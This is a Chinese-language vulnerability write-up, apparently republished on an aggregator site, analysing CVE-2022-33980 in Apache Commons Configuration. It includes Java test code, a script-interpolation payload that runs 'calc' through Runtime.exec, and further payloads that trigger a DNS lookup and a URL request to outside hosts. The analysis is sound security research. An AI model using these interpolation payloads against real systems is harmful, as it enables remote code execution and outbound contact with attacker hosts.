[JAVA安全]CVE-2022-33980命令执行漏洞分析

这篇具有很好参考价值的文章主要介绍了[JAVA安全]CVE-2022-33980命令执行漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。

漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

什么是Commons Configuration

Commons Configuration是一个java应用程序的配置管理类库。可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较的复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理。也提高了开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

官方通报:

java命令执行漏洞,JAVA安全,安全,web安全

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

这个CVE的漏洞点是在变量插值中造成的

前置知识

那么什么是变量插值呢?

在 commons-configuration2来说,变量插值,就类似于引用动态变量的方式,就好比,如果我们需要获取系统中的某个环境变量,我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录,同样可以通过  ${sys:user.home}

漏洞分析

环境依赖:

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-configuration2</artifactId>
  <version>2.7</version>
</dependency>

我们可以跟进下源码 看看 ${sys:user.home},这种写法是如何解析的,

在 org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate  中对这种写法进行解析,赋予其对应的值

java命令执行漏洞,JAVA安全,安全,web安全

此方法的解释是:

对于变量的插值,如果这个值他是字符串类型的,他将会检查时候包含有变量,如果有,将会替换这个变量,如果没有就按照源String返回 

所以我们同样可以通过使用该方法进行变量插值的使用:

package CVE2022$33980;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
    public static void main(String[] args) {

        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
            .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
            .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
            .create();
        //创建示例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析字符串
        System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));

    }
}

同样可以使用这种变量插值

从漏洞通告中可以知道, 由 script  将会导致JVM脚本执行

我们debug 分析一下他的流程:

System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));

 我们在前面的 interpolate 方法中打断点:

传入了变量插值的值,首先判断他是否是String的实例,之后将会调用looksLikeSingleVariable进行判断格式是否正确

java命令执行漏洞,JAVA安全,安全,web安全

判断是否为  “ ${ ”  开头 ,以  " } " 结尾:

java命令执行漏洞,JAVA安全,安全,web安全

 之后到达   resolveSingleVariable  的调用

java命令执行漏洞,JAVA安全,安全,web安全

 跟进这个 extractVariableName()   , 在该方法中,他将 去掉 ${}  取出变量值

java命令执行漏洞,JAVA安全,安全,web安全

 之后 回来调用 resolve,此时的 值已经变成:

java命令执行漏洞,JAVA安全,安全,web安全

 确实已经被去头去尾,我们继续,在此方法中,他对我们的var 进行截断赋值

 java命令执行漏洞,JAVA安全,安全,web安全

java命令执行漏洞,JAVA安全,安全,web安全

通过调用  fetchLookupForPrefix() 方法 传入  prefix   ,此时的 prefix = script  ,进入fetchLookupForfPrefix()方法:

取出对应的Lookup 对象:

java命令执行漏洞,JAVA安全,安全,web安全

 直接从 prefixLookups 这个Map对象属性中获取对应的  StringLookupAdapter 

返回回来,之后调用  StringLookupAdapter的 lookup方法

java命令执行漏洞,JAVA安全,安全,web安全

 跟进这个lookup ()

java命令执行漏洞,JAVA安全,安全,web安全

String[] keys = key.split(SPLIT_STR);

 这段代码 会做一个分割

java命令执行漏洞,JAVA安全,安全,web安全

以   :  符号作为分割。

也就是说 我们的key 被分为了:

javascript    和         java.lang.Runtime.getRuntime().exec("calc")   两段

 java命令执行漏洞,JAVA安全,安全,web安全

 并判断了其格式长度,并且赋值给 engineName 和  script 

java命令执行漏洞,JAVA安全,安全,web安全

 把 engine也就是JavaScript传给了  getEngineByName()  得到了scriptEngineNashormScriptEngine

最后 这里调用 了eval 方法,也就是很关键的部分:

java命令执行漏洞,JAVA安全,安全,web安全

 跟进  eval 看看

java命令执行漏洞,JAVA安全,安全,web安全

带入了script和context对象继续调用eval方法 

java命令执行漏洞,JAVA安全,安全,web安全

 最后成功 执行了我们的代码 弹出了计算器

调用栈:

exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Commons_Configuration2_Test (pers.test_01)

 java命令执行漏洞,JAVA安全,安全,web安全

根据漏洞通报中,同样还有这其他的prefix造成的影响

System.out.println(configurationInterpolator.interpolate("${dns:" + "test." + "k8y1dc.dnslog.cn}"));

java命令执行漏洞,JAVA安全,安全,web安全 

 文章来源地址https://www.toymoban.com/news/detail-615432.html

同样还可以访问远程url

System.out.println(configurationInterpolator.interpolate("${url:http:http://112.74.165.16:8888/}"));

 我在想着  能不能 jndi  注入呢?

java命令执行漏洞,JAVA安全,安全,web安全

似乎好像是不行的,如果有懂的师傅可以告诉我一下(刚学java)

参考链接:

CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析-安全客 - 安全资讯平台 (anquanke.com)

GitHub - apache/commons-configuration: Apache Commons Configuration

CVE-2022-33980命令执行漏洞分析 - 先知社区 (aliyun.com)

 

到了这里,关于[JAVA安全]CVE-2022-33980命令执行漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Cacti命令执行漏洞复现(CVE-2022-46169)

    Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。 影响版本 Cacti == 1.2.22 不受影响版本

    2024年02月02日
    浏览(69)
  • Spring Rce 漏洞分析CVE-2022-22965

    Spring Framework 是一个开源的轻量级J2EE应用程序开发框架。 3月31日,VMware发布安全公告,修复了Spring Framework中的远程代码执行漏洞(CVE-2022-22965)。在 JDK 9 及以上版本环境下,可以利用此漏洞在未授权的情况下在目标系统上写入恶意程序从而远程执行任意代码。 影响组件:

    2024年02月05日
    浏览(49)
  • Django SQL注入漏洞分析(CVE-2022-28346)

    Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。 2.2= Django Django 2.2.28 3.2= Django Django 3.2.13 4.0= Django Django 4.0.4 需要使用了 annotate 或者 aggregate 或 extra 方法 利用 pycharm 创建一个 python 项目 ​ 创建完成项目后在 Setti

    2024年02月03日
    浏览(37)
  • 网络靶场实战-RouterOS漏洞分析(CVE-2022-45315)

    本环境是蛇矛实验室基于\\\"火天网演攻防演训靶场\\\"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。火天网演中,内置大量固件设备,包含大型网络设备及物联网设备,可以灵活选取进行测试验

    2024年02月11日
    浏览(33)
  • CVE-2022-42889 Apache Commons Text RCE漏洞分析

    最近一直在对刚研发出来的自动化Web/API漏洞Fuzz的命令行扫描工具进行维护更新(工具地址:https://github.com/StarCrossPortal/scalpel),目前扫描工具已更新至第三个版本,新增了5条2022年CVE漏洞POC,修复了例如Content- Type和body类型不一致等问题。最新版本测试稳定,满足Web/API的漏洞

    2024年02月13日
    浏览(41)
  • Docker Dirtypipe(CVE-2022-0847)漏洞复现与分析容器逃逸

    同脏牛,通过写只读内存,对映射的内存做篡改 GitHub - greenhandatsjtu/CVE-2022-0847-Container-Escape: CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸 云原生之容器安全实践-安全客 - 安全资讯平台 (anquanke.com) 从脏管道(CVE-2022-0847)到docker逃逸 - 先知社区 (aliy

    2024年02月13日
    浏览(34)
  • Winrar代码执行漏洞(CVE-2023-38831)的原理分析

    背景 在2023年8月23日,Group-IB威胁情报机构发布了一份报告,详细介绍了WinRAR任意执行漏洞CVE-2023-38831的攻击活动。根据该报告,这个漏洞最早于2023年4月被攻击者利用,然后在2023年7月被Group-IB威胁情报机构发现并报告给了RARLAB。最终,RARLAB在2023年8月2日发布了修复了CVE-2023-

    2024年02月08日
    浏览(29)
  • CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析(二)

    文章写于2022-01-19,首发在天融信阿尔法实验室 1 前言 2 前置知识 2.1 JPEG文件格式 2.2 Perl模式匹配 3 exiftool源码调试到漏洞分析 3.1 环境搭建 3.2 漏洞简介 3.3 exiftool是如何解析嵌入的0xc51b标签 3.4 exiftool是如何调用parseAnt函数 3.5 parseAnt函数分析 3.6 parseAnt漏洞分析 4 漏洞利用 4.1

    2024年02月14日
    浏览(23)
  • 【网络安全】CVE漏洞分析以及复现

    漏洞详情 Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。 漏洞影响版本 Shiro 1.0.0-incubating 对应 Maven Repo 里面也有 【一一帮助安全学习,所有资源获取一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全

    2024年02月06日
    浏览(34)
  • CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

    漏洞软件:Apache Airflow 影响版本:= 1.10.10 Vulhub 漏洞测试靶场 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录 运行以下命令启动环境 在客户端访问 server-ip:8080 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态 在这一列的右侧点击如下按钮 输入以下字符后点击 Trigger 按钮

    2024年02月07日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包